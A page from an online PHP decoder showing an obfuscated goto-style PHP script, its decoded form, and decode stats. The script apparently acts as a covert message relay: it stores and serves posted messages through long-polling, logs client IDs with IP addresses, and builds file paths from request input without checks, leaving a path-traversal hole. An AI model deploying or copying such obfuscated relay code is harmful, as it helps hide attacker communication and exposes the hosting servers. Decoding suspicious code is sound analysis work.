Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto oWMgG; gRo2r: VOy85: goto pj4ii; TGgTF: $YlBnT = $EAVGz . "\x2f" . PHKZK(8); ..

Decoded Output download

<?php 
 goto oWMgG; gRo2r: VOy85: goto pj4ii; TGgTF: $YlBnT = $EAVGz . "/" . PHKZK(8); goto nUp2D; opAgB: KeA1V: goto htOvH; D4kQF: i6bQ0: goto h0e0a; dHueJ: KhReO: goto uO_Dp; YR5l2: $oa0aM = glob($EAVGz . "/*"); goto OneJw; GGWWl: if (!($_SERVER["REQUEST_METHOD"] == "POST")) { goto cL1Qh; } goto LGRsf; iZEdn: ouow5: goto kNDSu; uO_Dp: goto Wz7gL; goto fqVGq; PLOUM: foreach ($_REQUEST as $GSGum => $gkqhn) { goto BIlt_; BIlt_: if (!(strlen($GSGum) == 4)) { goto JFc1n; } goto XQlI4; qYud3: JFc1n: goto kML0I; qMbeV: goto EWs4n; goto qYud3; XQlI4: $D7a7i = $gkqhn; goto qMbeV; kML0I: henhh: goto TyEx2; TyEx2: } goto VAltF; wWzTU: $f6ZCO = 0; goto nLxM4; Vfpaj: if (!(strlen($DlPWo) == 4)) { goto Prxzq; } goto hu5lX; lDDvZ: fflush($oQU3E); goto UtR6Z; kvBhO: if (!($D7a7i != null)) { goto GrApt; } goto b2bKK; qyjef: if (!($OY1X1 != null)) { goto C3SFH; } goto zmwzK; uYFro: C3SFH: goto xh2N_; WabDG: if (!isset($_GET["imageno"])) { goto VOy85; } goto MrKPW; VAltF: EWs4n: goto s31Zk; pyx3l: goto UNdXy; goto dHueJ; K7be4: PnlE9: goto LMQJV; U9_Fd: pMlYr: goto JBfuf; e4vhV: mkdir($EAVGz); goto Vhq8Z; nUp2D: $oQU3E = fopen($YlBnT, "w"); goto u3Ja9; hu5lX: yaV6V($VVxgt, $D7a7i . "?"); goto kU1JV; UtR6Z: fclose($oQU3E); goto DzUej; kU1JV: Prxzq: goto wG_HG; vNaLT: YAv6v($VVxgt, $D7a7i); goto K7be4; qiul0: goto KhReO; goto PYI2D; uwP_s: aT4sb: goto WabDG; OneJw: foreach ($oa0aM as $ZW5mQ) { goto YyJsv; d_L7Q: goto NM1bW; goto AeWer; BH7yo: $OY1X1 = $ZW5mQ; goto d_L7Q; srlpR: bwWZs: goto AXaGq; AeWer: OKh0h: goto srlpR; YyJsv: if (!(is_writable($ZW5mQ) && strstr($ZW5mQ, $D7a7i))) { goto OKh0h; } goto BH7yo; AXaGq: } goto D1hAy; eRIdc: $VVxgt = "./readme.md"; goto NX8vf; nnzOb: if (!isset($DlPWo)) { goto aT4sb; } goto ARD3G; qrhQ8: echo "ok"; goto D4kQF; ulxEf: unlink($VVxgt); goto a2r54; dafu8: function YaV6V($dXuEa, $D7a7i) { goto T75bT; hKLKm: $qaCZO = fopen($dXuEa, "a"); goto SIJ9e; uthNK: $qaCZO = fopen($dXuEa, "w"); goto IM77M; IM77M: fclose($qaCZO); goto hIcY_; hIcY_: Khbk1: goto hKLKm; yf31f: fclose($qaCZO); goto s0jpU; SIJ9e: fwrite($qaCZO, $D7a7i . "*" . $_SERVER["REMOTE_ADDR"] . "|"); goto yf31f; T75bT: if (file_exists($dXuEa)) { goto Khbk1; } goto uthNK; s0jpU: } goto gIm7e; lt33L: echo "ok"; goto U9_Fd; NX8vf: if (is_dir($EAVGz)) { goto oWRKj; } goto e4vhV; MrKPW: $fX1mn = $_GET["imageno"]; goto V7rhQ; xh2N_: Cme_A: goto Vfpaj; D1hAy: NM1bW: goto bc4KL; IzZ1Y: echo fread($oQU3E, filesize($VVxgt)); goto vANk2; bc4KL: if ($OY1X1 != null) { goto bgs0s; } goto OGSVQ; b2bKK: if (!(strlen($fX1mn) == 2)) { goto i6bQ0; } goto pu2Yh; vANk2: fclose($oQU3E); goto ulxEf; PMDf9: $oQU3E = fopen($ZYBv5, "r"); goto e42UL; SqT6b: $oQU3E = fopen($VVxgt, "r"); goto IzZ1Y; YanJr: if (!(strlen($DlPWo) == 2)) { goto PnlE9; } goto vNaLT; fqVGq: UNdXy: goto qyjef; LMQJV: if (!(strlen($DlPWo) == 3)) { goto Cme_A; } goto WmPqH; WmPqH: $OY1X1 = null; goto wWzTU; PYI2D: bgs0s: goto pyx3l; wG_HG: h1f3L: goto uwP_s; pSQID: foreach ($_GET as $GSGum => $gkqhn) { goto ndOYq; iGeW0: goto KeA1V; goto pklaJ; pklaJ: raM0P: goto Nl27L; THWxQ: $DlPWo = $gkqhn; goto iGeW0; ndOYq: if (!(strlen($GSGum) == 6)) { goto raM0P; } goto THWxQ; Nl27L: DiTvY: goto Ba8re; Ba8re: } goto opAgB; fV58C: fclose($oQU3E); goto AKhCJ; pj4ii: cL1Qh: goto dafu8; h0e0a: GrApt: goto gRo2r; OGSVQ: $f6ZCO++; goto MT9A3; AKhCJ: unlink($ZYBv5); goto uYFro; u3Ja9: fwrite($oQU3E, $_REQUEST["message"]); goto lDDvZ; zmwzK: $ZYBv5 = $OY1X1; goto PMDf9; MT9A3: if (!($f6ZCO > 200)) { goto ouow5; } goto BqYB6; a2r54: umQOo: goto nnzOb; e42UL: echo fread($oQU3E, filesize($ZYBv5)); goto fV58C; DzUej: rename($YlBnT, $ZYBv5); goto qrhQ8; s31Zk: if (!($D7a7i != null)) { goto h1f3L; } goto YanJr; LGRsf: $DlPWo = null; goto pSQID; BqYB6: goto UNdXy; goto iZEdn; htOvH: if (!isset($_GET["longtest"])) { goto pMlYr; } goto lt33L; V7rhQ: $D7a7i = $_REQUEST["id"]; goto kvBhO; Vhq8Z: oWRKj: goto GGWWl; oWMgG: $EAVGz = "./temps"; goto eRIdc; pu2Yh: $ZYBv5 = $EAVGz . "/" . $D7a7i; goto TGgTF; nLxM4: Wz7gL: goto N6WX4; N6WX4: if (!1) { goto UNdXy; } goto YR5l2; kNDSu: usleep(50000); goto qiul0; JBfuf: if (!isset($_GET["log"])) { goto umQOo; } goto SqT6b; ARD3G: $D7a7i = null; goto PLOUM; gIm7e: function phkZk($DlErV) { goto w84XL; FD799: $lzuZL = $lzuZL . $HGmvG[rand(0, 34)]; goto pBo4_; SDXJF: $Qob_T++; goto yQsFc; XE2vo: $lzuZL = ''; goto U0Xyh; LENzW: nqJiE: goto gQqRk; pBo4_: x45E_: goto SDXJF; U0Xyh: $Qob_T = 0; goto LENzW; w84XL: $HGmvG = "abcdefghijklmnopqrstvwxyz1234567890"; goto XE2vo; gQqRk: if (!($Qob_T < $DlErV)) { goto jMC1t; } goto FD799; ifEcO: return $lzuZL; goto t31i9; fyUaT: jMC1t: goto ifEcO; yQsFc: goto nqJiE; goto fyUaT; t31i9: } ?>

Did this file decode correctly?

Original Code

<?php
 goto oWMgG; gRo2r: VOy85: goto pj4ii; TGgTF: $YlBnT = $EAVGz . "\x2f" . PHKZK(8); goto nUp2D; opAgB: KeA1V: goto htOvH; D4kQF: i6bQ0: goto h0e0a; dHueJ: KhReO: goto uO_Dp; YR5l2: $oa0aM = glob($EAVGz . "\x2f\x2a"); goto OneJw; GGWWl: if (!($_SERVER["\x52\x45\121\x55\105\123\x54\x5f\115\105\124\110\x4f\x44"] == "\120\117\123\124")) { goto cL1Qh; } goto LGRsf; iZEdn: ouow5: goto kNDSu; uO_Dp: goto Wz7gL; goto fqVGq; PLOUM: foreach ($_REQUEST as $GSGum => $gkqhn) { goto BIlt_; BIlt_: if (!(strlen($GSGum) == 4)) { goto JFc1n; } goto XQlI4; qYud3: JFc1n: goto kML0I; qMbeV: goto EWs4n; goto qYud3; XQlI4: $D7a7i = $gkqhn; goto qMbeV; kML0I: henhh: goto TyEx2; TyEx2: } goto VAltF; wWzTU: $f6ZCO = 0; goto nLxM4; Vfpaj: if (!(strlen($DlPWo) == 4)) { goto Prxzq; } goto hu5lX; lDDvZ: fflush($oQU3E); goto UtR6Z; kvBhO: if (!($D7a7i != null)) { goto GrApt; } goto b2bKK; qyjef: if (!($OY1X1 != null)) { goto C3SFH; } goto zmwzK; uYFro: C3SFH: goto xh2N_; WabDG: if (!isset($_GET["\x69\x6d\141\147\x65\156\x6f"])) { goto VOy85; } goto MrKPW; VAltF: EWs4n: goto s31Zk; pyx3l: goto UNdXy; goto dHueJ; K7be4: PnlE9: goto LMQJV; U9_Fd: pMlYr: goto JBfuf; e4vhV: mkdir($EAVGz); goto Vhq8Z; nUp2D: $oQU3E = fopen($YlBnT, "\x77"); goto u3Ja9; hu5lX: yaV6V($VVxgt, $D7a7i . "\77"); goto kU1JV; UtR6Z: fclose($oQU3E); goto DzUej; kU1JV: Prxzq: goto wG_HG; vNaLT: YAv6v($VVxgt, $D7a7i); goto K7be4; qiul0: goto KhReO; goto PYI2D; uwP_s: aT4sb: goto WabDG; OneJw: foreach ($oa0aM as $ZW5mQ) { goto YyJsv; d_L7Q: goto NM1bW; goto AeWer; BH7yo: $OY1X1 = $ZW5mQ; goto d_L7Q; srlpR: bwWZs: goto AXaGq; AeWer: OKh0h: goto srlpR; YyJsv: if (!(is_writable($ZW5mQ) && strstr($ZW5mQ, $D7a7i))) { goto OKh0h; } goto BH7yo; AXaGq: } goto D1hAy; eRIdc: $VVxgt = "\56\x2f\162\145\141\144\x6d\x65\56\155\x64"; goto NX8vf; nnzOb: if (!isset($DlPWo)) { goto aT4sb; } goto ARD3G; qrhQ8: echo "\157\x6b"; goto D4kQF; ulxEf: unlink($VVxgt); goto a2r54; dafu8: function YaV6V($dXuEa, $D7a7i) { goto T75bT; hKLKm: $qaCZO = fopen($dXuEa, "\141"); goto SIJ9e; uthNK: $qaCZO = fopen($dXuEa, "\167"); goto IM77M; IM77M: fclose($qaCZO); goto hIcY_; hIcY_: Khbk1: goto hKLKm; yf31f: fclose($qaCZO); goto s0jpU; SIJ9e: fwrite($qaCZO, $D7a7i . "\52" . $_SERVER["\122\105\115\117\124\105\137\101\x44\x44\122"] . "\x7c"); goto yf31f; T75bT: if (file_exists($dXuEa)) { goto Khbk1; } goto uthNK; s0jpU: } goto gIm7e; lt33L: echo "\157\153"; goto U9_Fd; NX8vf: if (is_dir($EAVGz)) { goto oWRKj; } goto e4vhV; MrKPW: $fX1mn = $_GET["\151\x6d\141\x67\x65\x6e\157"]; goto V7rhQ; xh2N_: Cme_A: goto Vfpaj; D1hAy: NM1bW: goto bc4KL; IzZ1Y: echo fread($oQU3E, filesize($VVxgt)); goto vANk2; bc4KL: if ($OY1X1 != null) { goto bgs0s; } goto OGSVQ; b2bKK: if (!(strlen($fX1mn) == 2)) { goto i6bQ0; } goto pu2Yh; vANk2: fclose($oQU3E); goto ulxEf; PMDf9: $oQU3E = fopen($ZYBv5, "\x72"); goto e42UL; SqT6b: $oQU3E = fopen($VVxgt, "\162"); goto IzZ1Y; YanJr: if (!(strlen($DlPWo) == 2)) { goto PnlE9; } goto vNaLT; fqVGq: UNdXy: goto qyjef; LMQJV: if (!(strlen($DlPWo) == 3)) { goto Cme_A; } goto WmPqH; WmPqH: $OY1X1 = null; goto wWzTU; PYI2D: bgs0s: goto pyx3l; wG_HG: h1f3L: goto uwP_s; pSQID: foreach ($_GET as $GSGum => $gkqhn) { goto ndOYq; iGeW0: goto KeA1V; goto pklaJ; pklaJ: raM0P: goto Nl27L; THWxQ: $DlPWo = $gkqhn; goto iGeW0; ndOYq: if (!(strlen($GSGum) == 6)) { goto raM0P; } goto THWxQ; Nl27L: DiTvY: goto Ba8re; Ba8re: } goto opAgB; fV58C: fclose($oQU3E); goto AKhCJ; pj4ii: cL1Qh: goto dafu8; h0e0a: GrApt: goto gRo2r; OGSVQ: $f6ZCO++; goto MT9A3; AKhCJ: unlink($ZYBv5); goto uYFro; u3Ja9: fwrite($oQU3E, $_REQUEST["\x6d\x65\x73\x73\x61\147\x65"]); goto lDDvZ; zmwzK: $ZYBv5 = $OY1X1; goto PMDf9; MT9A3: if (!($f6ZCO > 200)) { goto ouow5; } goto BqYB6; a2r54: umQOo: goto nnzOb; e42UL: echo fread($oQU3E, filesize($ZYBv5)); goto fV58C; DzUej: rename($YlBnT, $ZYBv5); goto qrhQ8; s31Zk: if (!($D7a7i != null)) { goto h1f3L; } goto YanJr; LGRsf: $DlPWo = null; goto pSQID; BqYB6: goto UNdXy; goto iZEdn; htOvH: if (!isset($_GET["\154\x6f\156\x67\164\x65\x73\x74"])) { goto pMlYr; } goto lt33L; V7rhQ: $D7a7i = $_REQUEST["\151\x64"]; goto kvBhO; Vhq8Z: oWRKj: goto GGWWl; oWMgG: $EAVGz = "\56\x2f\x74\x65\155\x70\x73"; goto eRIdc; pu2Yh: $ZYBv5 = $EAVGz . "\57" . $D7a7i; goto TGgTF; nLxM4: Wz7gL: goto N6WX4; N6WX4: if (!1) { goto UNdXy; } goto YR5l2; kNDSu: usleep(50000); goto qiul0; JBfuf: if (!isset($_GET["\154\x6f\x67"])) { goto umQOo; } goto SqT6b; ARD3G: $D7a7i = null; goto PLOUM; gIm7e: function phkZk($DlErV) { goto w84XL; FD799: $lzuZL = $lzuZL . $HGmvG[rand(0, 34)]; goto pBo4_; SDXJF: $Qob_T++; goto yQsFc; XE2vo: $lzuZL = ''; goto U0Xyh; LENzW: nqJiE: goto gQqRk; pBo4_: x45E_: goto SDXJF; U0Xyh: $Qob_T = 0; goto LENzW; w84XL: $HGmvG = "\141\x62\143\x64\x65\146\147\150\151\152\153\154\x6d\x6e\157\160\161\162\x73\164\166\167\170\x79\x7a\61\62\x33\x34\65\66\x37\x38\71\60"; goto XE2vo; gQqRk: if (!($Qob_T < $DlErV)) { goto jMC1t; } goto FD799; ifEcO: return $lzuZL; goto t31i9; fyUaT: jMC1t: goto ifEcO; yQsFc: goto nqJiE; goto fyUaT; t31i9: }

Function Calls

None

Variables

None

Stats

MD5 d5a93adb42b2034a462f9a672ba23a6f
Eval Count 0
Decode Time 62 ms